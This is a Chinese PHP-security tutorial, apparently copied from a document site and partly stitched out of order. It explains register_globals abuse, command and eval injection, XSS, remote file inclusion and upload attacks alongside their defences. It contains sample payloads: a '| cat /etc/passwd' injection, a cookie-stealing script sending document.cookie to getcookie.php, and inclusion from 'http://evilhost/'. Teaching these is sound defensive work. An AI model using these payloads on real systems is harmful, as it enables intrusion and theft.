"您尚未登录!";}?>当register_globals=On时,我们提交/ex2.php?_SESSION[username]=dodo,就具有了此用户的权限所以不管register_globals为什么,我们都要记住,对于任何传输的数据要经过仔细验证,变量要初始化safe_mode安全模式,PHP用来限制文档的存取.限制环境变量的存取,控制外部程序的执行.启用安全模式必须设置php.ini中的safe_mode = On1.限制文件存取safe_mode_include_dir = "/path1:/path2:/path3"不同的文件夹用冒号隔开2.限制环境变量的存取safe_mode_allowed_env_vars = string指定PHP程序可以改变的环境变量的前缀,如:safe_mode_allowed_env_vars = PHP_ ,当这个选项的值为空时,那么php可以改变任何环境变量safe_mode_protected_env_vars = string用来指定php程序不可改变的环境变量的前缀3.限制外部程序的执行safe_mode_exec_dir = string此选项指定的文件夹路径影响system.exec.popen.passthru,不影响shell_exec和"` `".disable_functions = string不同的函数名称用逗号隔开,此选项不受安全模式影响magic quotes用来让php程序的输入信息自动转义,所有的单引号("'"),双引号("""),反斜杠("\")和空字符(NULL),都自动被加上反斜杠进行转义magic_quotes_gpc = On 用来设置magic quotes 为On,它会影响HTTP请求的数据(GET.POST.Cookies)程序员也可以使用addslashes来转义提交的HTTP请求数据,或者用stripslashes来删除转义命令注入攻击PHP中可以使用下列5个函数来执行外部的应用程序或函数system.exec.passthru.shell_exec.``(与shell_exec功能相同)函数原型string system(string command, int &return_var)command 要执行的命令return_var 存放执行命令的执行后的状态值string exec (string command, array &output, int &return_var) command 要执行的命令output 获得执行命令输出的每一行字符串return_var 存放执行命令后的状态值void passthru (string command, int &return_var)command 要执行的命令return_var 存放执行命令后的状态值string shell_exec (string command)command 要执行的命令漏洞实例例1://ex1.php<?php$dir = $_GET["dir"];if (isset($dir)){echo "<pre>";system("ls -al ".$dir);echo "</pre>";}?>我们提交/ex1.php?dir=| cat /etc/passwd提交以后,命令变成了 system("ls -al | cat /etc/passwd");eval注入攻击eval函数将输入的字符串参数当作PHP程序代码来执行函数原型:mixed eval(string code_str) //eval注入一般发生在攻击者能控制输入的字符串的时候//ex2.php<?php$var = "var";if (isset($_GET["arg"])){$arg = $_GET["arg"];eval("\$var = $arg;");echo "\$var =".$var;}?>当我们提交 /ex2.php?arg=phpinfo();漏洞就产生了 动态函数<?phpfunc A(){dosomething();}func B(){dosomething();}if (isset($_GET["func"])){$myfunc = $_GET["func"];echo $myfunc();}?>程序员原意是想动态调用A和B函数,那我们提交/ex.php?func=phpinfo 漏洞产生防范方法1.尽量不要执行外部命令2.使用自定义函数或函数库来替代外部命令的功能3.使用escapeshellarg函数来处理命令参数4.使用safe_mode_exec_dir指定可执行文件的路径esacpeshellarg函数会将任何引起参数或命令结束的字符转义,单引号"'",替换成"\'",双引号""",替换成"\"",分号";"替换成"\;"用safe_mode_exec_dir指定可执行文件的路径,可以把会使用的命令提前放入此路径内safe_mode = Onsafe_mode_exec_di r= /usr/local/php/bin/客户端脚本植入客户端脚本植入(Script Insertion),是指将可以执行的脚本插入到表单.图片.动画或超链接文字等对象内.当用户打开这些对象后,攻击者所植入的脚本就会被执行,进而开始攻击.可以被用作脚本植入的HTML标签一般包括以下几种:1.<script>标签标记的javascript和vbscript等页面脚本程序.在<script>标签内可以指定js程序代码,也可以在src属性内指定js文件的URL路径2.<object>标签标记的对象.这些对象是java applet.多媒体文件和ActiveX控件等.通常在data属性内指定对象的URL路径3.<embed>标签标记的对象.这些对象是多媒体文件,例如:swf文件.通常在src 属性内指定对象的URL路径4.<applet>标签标记的对象.这些对象是java applet,通常在codebase属性内指定对象的URL路径5.<form>标签标记的对象.通常在action属性内指定要处理表单数据的web应用程序的URL路径客户端脚本植入的攻击步骤1.攻击者注册普通用户后登陆网站2.打开留言页面,插入攻击的js代码3.其他用户登录网站(包括管理员),浏览此留言的内容4.隐藏在留言内容中的js代码被执行,攻击成功实例数据库Create TABLE `postmessage` (`id` int(11) NOT NULL auto_increment,`subject` varchar(60) NOT NULL default '',`name` varchar(40) NOT NULL default '',`email` varchar(25) NOT NULL default '',`question` mediumtext NOT NULL,`postdate` datetime NOT NULL default '0000-00-00 00:00:00',PRIMARY KEY (`id`)) ENGINE=MyISAM DEFAULT CHARSET=gb2312 COMMENT='使用者的留言' AUTO_INCREMENT=69 ;//add.php 插入留言//list.php 留言列表//show.php 显示留言浏览此留言的时候会执行js脚本插入 <script>while(1){windows.open();}</script> 无限弹框插入<script>location.href="";</script> 跳转钓鱼页面或者使用其他自行构造的js代码进行攻击防范的方法一般使用htmlspecialchars函数来将特殊字符转换成HTML编码函数原型string htmlspecialchars (string string, int quote_style, string charset) string 是要编码的字符串quote_style 可选,值可为ENT_COMPAT ENT_QUOTES ENT_NOQUOTES,默认值ENT_COMPAT,表示只转换双引号不转换单引号.ENT_QUOTES,表示双引号和单引号都要转换.ENT_NOQUOTES,表示双引号和单引号都不转换charset 可选,表示使用的字符集函数会将下列特殊字符转换成html编码:& ----> &" ----> "' ----> '< ----> <> ----> >把show.php的第98行改成<?php echo htmlspecialchars(nl2br($row['question']), ENT_QUOTES); ?> 然后再查看插入js的漏洞页面xss跨站脚本攻击XSS(Cross Site Scripting),意为跨网站脚本攻击,为了和样式表css(Cascading Style Sheet)区别,缩写为XSS跨站脚本主要被攻击者利用来读取网站用户的cookies或者其他个人数据,一旦攻击者得到这些数据,那么他就可以伪装成此用户来登录网站,获得此用户的权限.跨站脚本攻击的一般步骤:1.攻击者以某种方式发送xss的http链接给目标用户2.目标用户登录此网站,在登陆期间打开了攻击者发送的xss链接3.网站执行了此xss攻击脚本4.目标用户页面跳转到攻击者的网站,攻击者取得了目标用户的信息5.攻击者使用目标用户的信息登录网站,完成攻击当有存在跨站漏洞的程序出现的时候,攻击者可以构造类似/search.php?key=<script>document.location='/getcookie.php?cookie='+document.cookie;</script> ,诱骗用户点击后,可以获取用户cookies值防范方法:利用htmlspecialchars函数将特殊字符转换成HTML编码函数原型string htmlspecialchars (string string, int quote_style, string charset) string 是要编码的字符串quote_style 可选,值可为ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES,默认值ENT_COMPAT,表示只转换双引号不转换单引号。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
PHP漏洞原理PHP是一种服务器端的,嵌入HTML的脚本语言。
PHP区别其他语言的地方是它的代码在服务器端执行,例如收集表格数据,生成动态页面内容,或者收发cookies等,今天我们来了解一下它的漏洞问题。
一全局变量全局变量,就是能够在整个程序执行的过程中都存在的变量。
基于PHP的应用程序的主函数一般都是接受用户的输入,然后对输入数据进行处理,然后把结果返回到客户端浏览器。
为了使PHP代码访问用户的输入尽可能容易,实际上PHP是把这些输入数据看作全局变量来处理的。
<form method="get" action="get.php"><input type="text" name="test"><input type="submit"></form>这段代码会显示一个文本框和提交按钮。
当用户点击提交按钮时,页面就会将用户输入的数据传递到“get.php”,当“get.php”运行时,“$test”就会自动创建,包含了用户在文本框输入的数据。
我们可以看出,攻击者可以按照自己的意愿创建任意的全局变量。
下面的认证代码暴露了PHP的全局变量所导致的安全问题:<?phpif ($password == "monster")$pass = 1;……………if ($pass == 1)echo "认证通过";?>上面的代码首先检查用户的密码是否为“monster”,如果匹配的话,则设置“$pass”为“1”,之后如果“$pass”的值为“1”的话,就会认证通过。
从表面看起来,这是正确的,但是这段代码犯了想当然的错误,它假定“$pass”在没有设置值的时候是空的,却没有想到,攻击者可以创建任何全局变量并赋值,通过提交“http://server/get.php?pass=1”的方法,我们完全可以欺骗这段代码,使它相信我们是已经认证过的。
二过滤输入/输出转义过滤是Web应用安全的基础。
它是你验证数据合法性的过程。
通过在输入时确认对所有的数据进行过滤,你可以避免未过滤数据在你的程序中被误信及误用。
大多数流行的PHP 应用的漏洞最终都是因为没有对输入进行恰当过滤造成的。
最好的方法是把过滤看成是一个检查的过程。
另外一个Web应用安全的基础是对输出进行转义或对特殊字符进行编码,以保证原意不变。
例如,O'Reilly在传送给MySQL数据库前需要转义成O\'Reilly。
单引号前的反斜杠代表单引号是数据本身的一部分,而不是并不是它的本义。
为了区分数据是否已转义,还是建议定义一个命名机制。
对于输出到客户机的转义数据,使$html数组进行存储,该数据首先初始化成一个空数组,对所有已过滤和已转义数据进行保存。
<?php$html = array( );$html['username'] = htmlentities($clean['username'], ENT_QUOTES, 'UTF-8');echo "<p>Welcome, {$html['username']}.</p>";?>htmlspecialchars( )函数与htmlentities( )函数基本相同,它们的参数定义完全相同,只不过是htmlentities( )的转义更为彻底。
通过$html['username']把username输出到客户端,你就可以确保其中的特殊字符不会被浏览器所错误解释。
如果username只包含字母和数字的话,实际上转义是没有必要的,但是这体现了深度防范的原则。
SQL 注入是PHP应用中最常见的漏洞之一,事实上,开发者需要同时犯以上两个错误才会引发一个SQL注入漏洞。
三远程文件PHP是一种具有丰富特性的语言,提供了大量的函数,使编程者实现某个功能很容易。
但是从安全的角度来看,功能越多,要保证它的安全性就越难,远程文件就是说明这个问题的一个很好的例子:<?phpif (!($fo = fopen("$file", "s"))echo("文件$file打开错误");?>上面的脚本试图打开文件“$filename”,如果失败就显示错误信息。
那么如果我们能够指定“$file”的话,就能利用这个脚本浏览任何文件。
但是,这个脚本还存在一个不太明显的特性,那就是它可以从任何其它WEB或FTP站点读取文件。
实际上,PHP的大多数文件处理函数对远程文件的处理是透明的。
例如:如果指定“$file”为“http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir”,则上面的代码实际上是利用主机target上的unicode漏洞,执行了dir命令。
这使得支持远程文件的include(),require(),include_once()和require_once()在上下文环境中变得更有趣。
这些函数主要功能是包含指定文件的内容,并且把它们按照PHP代码解释。
例如:<?phpinclude($dir."/ attack.php");?>上例中“$dir”一般是一个在执行代码前已经设置好的路径,如果攻击者能够使得“$dir”没有被设置的话,那么他就可以改变这个路径。
但是攻击者并不能做任何事情,因为他们只能在他们指定的路径中访问文件“attack.php”。
但是由于有了对远程文件的支持,攻击者就可以做任何事情。
例如,攻击者可以在某台服务器上放一个文件“attack.php”,里面包含了恶意代码然后把“$dir”设置为“http://evilhost/”,这样我们就可以在目标主机上执行上面的恶意代码,将结果返回到客户的浏览器中。
需要注意的是,攻击服务器(也就是evilhost)应该不能执行PHP代码,否则攻击代码会在攻击服务器,而不是目标服务器执行。
四文件上载PHP自动支持基于RFC 1867的文件上载,我们看下面的例子:<form method="post" enctype="multipart/form-data"><input type="file" name="file"><input type="hidden" name="maxfilesize" value="1024"><input type="submit"></form>上面的代码让用户从本地机器选择一个文件,当点击提交后,文件就会被上载到服务器。
这显然是很有用的功能,但是PHP的响应方式会使这项功能变的不安全。
当PHP在它开始解析被调用的PHP代码之前,它会先接受远程用户的文件,检查文件的长度是否超过“$ maxfilesize variable”定义的值,如果通过这些测试的话,文件就会被存在服务器的一个临时目录中。
因此,攻击者可以发送任意文件给运行PHP的主机,在PHP程序还没有决定是否接受文件上载时,文件就已经被保存在服务器上面了。
现在我们看一下处理文件上载的PHP程序,正如上面所说,文件被接收并且存在服务器上(位置一般是/tmp),文件名一般是随机的。
PHP程序需要上载文件的信息以便处理它,这可以通过两种方式,一种方式是在PHP 3中已经使用的,另一种是在我们对以前的方法提出安全公告后引入的。
但是,我们可以肯定的说,问题还是存在的,大多数PHP程序还是使用老的方式来处理上载文件。
PHP设置了四个全局变量来描述上载文件,比如说上面的例子:$file = Filename on local machine (e.g "/tmp/phpxXuoXG")$file_size = Size in bytes of file (e.g 1024)$file_name =远程系统上的文件名(e.g "c:/file.txt")$file_type = Mime type of uploaded file (e.g "text/plain")然后PHP程序开始处理根据“$file”指定的文件,问题在于“$file”不一定是一个PHP 设置的变量,任何远程用户都可以指定它。
如果我们使用下面的方式:http://vulnhost/file.php?file=/ ... file_name=file.txt就导致了下面的PHP全局变量(当然POST方式也可以(甚至是Cookie)):$file = "/etc/passwd"$file_size = 10240$file_type = "text/plain"$file_name = "file.txt"上面的表单数据正好满足了PHP程序所期望的变量,但是这时PHP程序不再处理上载的文件,而是处理“/etc/passwd”(通常会导致内容暴露)。
这种攻击可以用于暴露任何敏感文件的内容。
我在前面已经说了,新版本的PHP使用HTTP_POST_FILES[]来决定上载文件,同时也提供了很多函数来解决这个问题,例如有一个函数用来判断某个文件是不是实际上载的文件。
这些函数很好的解决了这个问题,但是实际上肯定有很多PHP程序仍然使用旧的方法,很容易受到这种攻击。
作为文件上载的攻击方法的一个变种,我们看一下下面的一段代码:<?phpif (file_exists($file))include("$file");?>如果攻击者可以控制“$file”的话,很显然它可以利用“$file”来读取远程系统上的任何文件。
攻击者的最终目标是在远程服务器上执行任意指令,但是他无法使用远程文件,因此,他必须得在远程服务器上创建一个PHP文件。
这乍看起来好象是不可能的,但是文件上载帮了我们这个忙,如果攻击者先在本地机器上创建一个包含PHP代码的文件,然后创建一个包含名为“file”的文件域的表单,最后用这个表单通过文件上载把创建的包含PHP 代码的文件提交给上面的代码,PHP就会把攻击者提交的文件保存起来,并把“$file”的值设置为攻击者提交的文件,这样file_exists()函数会检查通过,攻击者的代码也将执行。